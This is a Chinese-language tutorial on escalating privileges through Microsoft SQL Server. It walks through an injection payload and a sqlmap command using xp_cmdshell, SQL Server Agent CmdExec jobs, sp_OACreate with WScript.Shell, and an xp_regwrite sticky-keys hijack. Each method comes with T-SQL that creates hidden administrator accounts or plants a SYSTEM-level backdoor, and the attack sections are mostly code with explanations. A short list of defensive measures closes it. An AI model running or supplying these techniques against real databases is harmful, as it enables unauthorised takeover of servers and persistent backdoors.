SQL Server提权
SQL Server提权主要是依据一个特殊的存储过程“xp_cmdshell”,通过这个存储过程可以调用系统命令。
前提条件
- 在sysadmin权限下才能使用“xp_cmdshell”
提权分类
(1)注入点提权
手工测试:
1 | ?id = 1; exec master.abo.cmdshell 'net user 1 1 /add' -- |
- **
exec**: SQL 关键字,是EXECUTE的缩写,用于执行一个存储过程。 - **
master.dbo.xp_cmdshell**: 这是要执行的存储过程的完整路径。master: 这是 SQL Server 的系统数据库,存放着所有系统级的配置和信息。dbo: 数据库所有者(Database Owner)的架构,这是大多数系统对象的默认架构。xp_cmdshell: 这是一个扩展存储过程。它的功能是作为一个“桥梁”,让 SQL Server 能够跳出数据库的范围,去直接执行操作系统级别的命令。
自动化测试:SQLMap
1 | sqlmap.py -u "http://www.xxx.com/user.aspx?id=1" --os-cmd="net user" |
(2)得到数据库账户信息
在得到sa账户的密码之后,远程连接或者本地连接使用脚本来完成提权
开启xp_cmdshell方法
如果管理员没开启xp_cmdshell该功能,会提示错误信息”SQL Server阻止了对组件‘xp_cmdshell’的访问“
开启xp_cmdshell的SQL语句
1 | EXEC sp_configure 'show advanced options', 1 |
- **
sp_configure**:这是一个系统自带的存储过程,用于查看和更改 SQL Server 的全局配置设置。 - **
'show advanced options'**:这是一个具体的配置项。很多重要的配置项(包括xp_cmdshell)被归类为“高级选项”,默认情况下是隐藏的,无法直接修改。 - **
1**:这个参数将'show advanced options'的值设置为1,意思是 “开启” 或 “是”。这样,所有高级配置选项就会显示出来,并允许进行更改。 - **
GO**:这不是 SQL 命令,而是一个被 SQL Server 管理工具(如 SSMS)识别的批处理分隔符。它告诉服务器“执行前面所有的语句作为一个批次”。 - **
RECONFIGURE**:这个命令指示 SQL Server 立即更新当前运行的配置值,使其与sp_configure中设置的新值同步。执行完这一句,“显示高级选项”的开关才真正生效。
其他可用于提权的存储过程
使用 sqlserveragent、sp_oacreate 和 xp_regwrite 来提权
1. 利用 SQL Server Agent (sqlserveragent)
原理:
SQL Server Agent 是 SQL Server 的一个组件,用于**调度和执行作业(如数据库备份、数据导入等)。这些作业可以包含运行 Windows 命令的步骤。关键点在于,作业是由 SQL Server Agent 服务账户运行的**,而不是直接由当前登录的数据库用户上下文运行。
提权步骤:
- 检查权限:首先确认当前用户是否有权限创建和管理 SQL Server Agent 作业。通常需要是
sysadmin固定服务器角色的成员,或者被显式授予了相关权限(如SQLAgentUserRole)。 - 创建作业:创建一个新的作业。
- 添加作业步骤:在作业中添加一个类型为 “操作系统 (CmdExec)” 的步骤。在这个步骤中,可以填入要执行的命令,例如:
net user hacker P@ssw0rd! /add。 - 调度作业:将作业设置为立即运行,或者设定一个马上触发的时间。
- 执行作业:当作业开始运行时,
sqlserveragent服务会读取该步骤,并在一个独立的进程中执行其中的 Windows 命令。这个进程的权限就是sqlserveragent服务账户的权限。
利用场景:
- 如果
sqlserveragent服务是以高权限账户(如LOCAL SYSTEM或域管理员)运行的,那么通过它执行的命令就拥有了相应的高权限。 - 即使
xp_cmdshell被禁用,只要 SQL Server Agent 正在运行且当前用户有权限创建作业,这依然是一条可行的提权路径。
简单利用示例:
1 | -- 启用 SQL Server Agent (如果未运行) |
第一部分:启用 SQL Server Agent
1 | USE msdb; |
USE msdb;
msdb是 SQL Server 的系统数据库,专门用于存储警报、作业、备份历史等 SQL Server Agent 相关的信息。所有与作业操作相关的存储过程都位于这个数据库中。EXEC dbo.sp_set_sqlagent_properties @auto_start = 1;sp_set_sqlagent_properties是一个系统存储过程,用于设置 SQL Server Agent 的属性。@auto_start = 1参数告诉 SQL Server:请将 SQL Server Agent 设置为”自动启动”。如果 Agent 服务当前没有运行,这个命令会尝试启动它。- 重要前提:执行这条命令需要很高的权限(通常是
sysadmin角色)。如果攻击者已经能执行这个,说明其权限已经不小。
第二部分:创建作业容器
1 | EXEC msdb.dbo.sp_add_job @job_name = 'SystemPrivEscJob'; |
sp_add_job存储过程用于创建一个新的作业”容器”。此时创建的只是一个空壳,还没有任何实际要执行的内容。@job_name = 'SystemPrivEscJob'为这个作业指定了一个名称。攻击者通常会使用看起来合法的名称来伪装,如Database Maintenance或Backup Verification。
第三部分:定义作业要执行的具体命令(核心步骤)
1 | EXEC msdb.dbo.sp_add_jobstep |
这是整个 exploit 的核心部分:
sp_add_jobstep用于向作业中添加一个具体的执行步骤。@job_name指定这个步骤属于哪个作业。@step_name是步骤的名称。@subsystem = 'CMDEXEC'
这是最关键的一个参数。它指定该步骤的类型为”操作系统命令(CmdExec)”,意思是 SQL Server Agent 会直接调用操作系统命令行来执行命令,而不是执行 T-SQL 语句。@command
这里就是真正要执行的、具有破坏性的系统命令:net user hacker P@ssw0rd123! /add:在操作系统中创建一个名为hacker的新用户,密码为P@ssw0rd123!。&&:命令连接符,表示前一个命令成功执行后,继续执行下一个命令。net localgroup administrators hacker /add:将新创建的hacker用户添加到本地管理员组,从而赋予其最高权限。
@retry_attempts和@retry_interval定义了如果命令执行失败,重试的次数和间隔时间。
第四部分:设置作业调度(触发时间)
1 | EXEC msdb.dbo.sp_add_jobschedule |
sp_add_jobschedule为作业创建一个调度计划,决定作业何时运行。- **
@freq_type = 1**:表示频率类型为”一次性”执行。 @active_start_date和@active_start_time:定义了作业开始的日期和时间。这里的20251110和000000表示设置在2025年11月10日 00:00:00开始。如果这个时间被设置为一个未来的时间,作业不会立即运行,需要等待。
第五部分:立即启动作业
1 | EXEC msdb.dbo.sp_start_job @job_name = 'SystemPrivEscJob'; |
sp_start_job用于立即启动一个作业,而无需等待其调度计划。- 这是让整个攻击立即生效的关键命令。执行后,SQL Server Agent 会立即开始处理
SystemPrivEscJob作业,运行其中定义的CMDEXEC步骤。
2. 利用 sp_OACreate 和 sp_OAMethod
技术原理深度解析
- OLE Automation 是什么?
- OLE(对象链接和嵌入)Automation 是一种允许应用程序暴露其功能给其他应用程序的技术。
- SQL Server 通过一系列
sp_OA*存储过程支持 OLE Automation,使得 T-SQL 能够与 COM 组件交互。- 为什么
WScript.Shell被选中?
WScript.Shell是 Windows 系统自带的 COM 组件,通常在所有 Windows 机器上都可用。- 它提供了
Run方法,可以直接执行任意可执行文件,包括cmd.exe。- 它还可以用于操作注册表、访问系统文件夹等,功能强大。
- 执行上下文
- 命令是以 SQL Server 服务账户的权限运行的,而不是当前数据库用户的权限。
- 如果 SQL Server 服务以高权限账户(如
LOCAL SYSTEM)运行,那么创建的用户就是系统级用户。
原理:
SQL Server 提供了一组 OLE Automation 存储过程(对象链接与嵌入自动化),允许 T-SQL 代码与 Windows 的 COM(组件对象模型)对象进行交互。这意味着可以在数据库内部实例化并调用像 Windows Script Host 或 FileSystemObject 这样的组件。
核心思路是:通过启用 OLE Automation 功能,在 SQL Server 内部创建 Windows 脚本宿主对象,利用该对象的 Run 方法来执行操作系统命令。
利用场景:
这提供了另一种无需 xp_cmdshell 即可执行操作系统命令的途径。如果 xp_cmdshell 被严格禁用,但 OLE Automation 过程被开启(或可以被开启),攻击者就会转向这种方法。
简单利用示例:
1 | -- 启用 OLE Automation Procedures |
第一部分:启用 OLE Automation 功能
1 | EXEC sp_configure 'show advanced options', 1; |
EXEC sp_configure 'show advanced options', 1
首先启用显示高级配置选项。因为Ole Automation Procedures是一个高级选项,默认情况下在配置列表中是不可见的。RECONFIGURE
让”显示高级选项”的设置立即生效。EXEC sp_configure 'Ole Automation Procedures', 1
这是关键设置:将 OLE Automation 过程的值设置为1,即启用状态。默认情况下这个功能是禁用的(值为0),因为它存在安全风险。- 第二个
RECONFIGURE
让 OLE Automation 的启用设置生效。
注意:执行这些配置更改通常需要 sysadmin 权限。
第二部分:声明变量
1 | DECLARE @shell INT; |
@shell INT:这个变量用于存储 COM 对象的句柄。当成功创建 COM 对象后,SQL Server 会返回一个整数标识符,后续通过这个句柄来操作该对象。- **
@result INT**:用于接收存储过程执行的返回代码(0 通常表示成功,非 0 表示失败)。
第三部分:创建 COM 对象(核心)
1 | EXEC @result = sp_OACreate 'WScript.Shell', @shell OUT; |
sp_OACreate:这是 OLE Automation 的核心存储过程,用于创建 OLE 对象实例。- **
'WScript.Shell'**:这是要创建的 COM 对象的 ProgID(程序标识符)。
WScript.Shell是 Windows 脚本宿主提供的一个对象,它提供了访问 Windows shell 的方法,可以用于执行程序、操作注册表、处理快捷方式等。 - **
@shell OUT**:OUT关键字表示这是一个输出参数。成功创建对象后,对象的句柄会存储在这个变量中。 - **
@result**:接收sp_OACreate的返回代码。
执行效果:这行代码在 SQL Server 进程内创建了一个 WScript.Shell COM 对象的实例。
第四部分:调用方法执行命令(攻击核心)
1 | EXEC @result = sp_OAMethod @shell, 'Run', NULL, 'cmd.exe /c net user oahacker P@ssw0rd123! /add', 0, 1; |
sp_OAMethod:用于调用 COM 对象的方法。- **
@shell**:指定要操作哪个 COM 对象(使用前面获取的句柄)。 - **
'Run'**:指定要调用的方法名称。WScript.Shell对象的Run方法用于执行一个应用程序。 - **
NULL**:这里通常用于接收方法的返回值,NULL表示我们不关心返回值。 - 命令参数详解:
- **
'cmd.exe /c net user oahacker P@ssw0rd123! /add'**:这是传递给Run方法的参数。cmd.exe:启动 Windows 命令处理器。/c:表示执行完后面的命令后终止 cmd 进程。net user oahacker P@ssw0rd123! /add:创建新用户oahacker并设置密码。
- **
0**:表示窗口状态(intWindowStyle),0表示隐藏窗口,命令在后台执行。 - **
1**:表示是否等待程序执行完毕(bWaitOnReturn),1表示等待,0表示立即返回。
- **
执行效果:这行代码实际上执行了系统命令 net user oahacker P@ssw0rd123! /add,在操作系统中创建了一个新用户。
第五部分:清理资源
1 | EXEC @result = sp_OADestroy @shell; |
sp_OADestroy:用于销毁 COM 对象实例,释放相关资源。- **
@shell**:指定要销毁的对象的句柄。
目的:清理痕迹,释放内存资源。这是良好的编程实践,但在攻击中也可能用于减少被发现的风险。
3. 利用 xp_regwrite
原理:xp_regwrite 是另一个扩展存储过程,它允许 SQL Server 直接读写 Windows 注册表。注册表是 Windows 操作系统的核心配置数据库,控制着系统的方方面面。
提权步骤:
通过修改注册表,可以实现多种提权目的,最常见的一种是劫持“粘滞键”辅助功能:
- 找到粘滞键的映像路径:粘滞键(按 Shift 5 次触发)的程序是
sethc.exe,位于C:\Windows\System32\sethc.exe。 - 写入注册表进行劫持:在登录界面,你同样可以触发粘滞键。利用
xp_regwrite将sethc.exe的映像路径修改为cmd.exe的路径。 - 触发后门:当在登录界面连续按 5 次 Shift 时,系统会尝试运行
sethc.exe,但由于注册表被修改,实际运行的却是cmd.exe。而这个cmd.exe进程是以 SYSTEM 权限运行的,从而获得了系统的最高控制权。
利用场景:
这是一种非常经典的“二进制文件替换/劫持”技术。它不直接执行命令,而是通过修改系统配置,为后续获取最高权限(SYSTEM)打开一个便捷的后门。
简单利用示例:
1 | -- 启用 xp_regwrite (如果它被禁用,但通常它与 xp_cmdshell 是分开管理的) |
执行成功后,在登录界面按 5 次 Shift,就会弹出具有 SYSTEM 权限 的命令提示符。
总结与对比
| 方法 | 原理 | 关键前提 | 特点 |
|---|---|---|---|
xp_cmdshell |
直接执行 OS 命令 | 已启用或有权启用 | 最直接、最常用 |
sqlserveragent |
利用作业调度执行 OS 命令 | Agent 服务运行,且有作业管理权限 | 隐蔽,可作为持久化后门 |
sp_oacreate |
通过 COM 对象执行 OS 命令 | OLE Automation 已启用或有权启用 | 提供了另一种命令执行渠道 |
xp_regwrite |
修改注册表配置实现权限提升 | 拥有写入注册表的权限 | 不直接执行命令,而是通过系统配置漏洞(如粘滞键劫持)获取SYSTEM权限 |
防御策略
- 最小权限原则:为 SQL Server 服务账户和数据库登录账户分配绝对最小所需的权限。
- 按需禁用:在生产环境中,除非业务明确需要,否则应禁用
xp_cmdshell、OLE Automation 过程、xp_regwrite等危险组件。 - 定期审计:监控和审计对上述存储过程的调用以及 SQL Server Agent 作业的创建。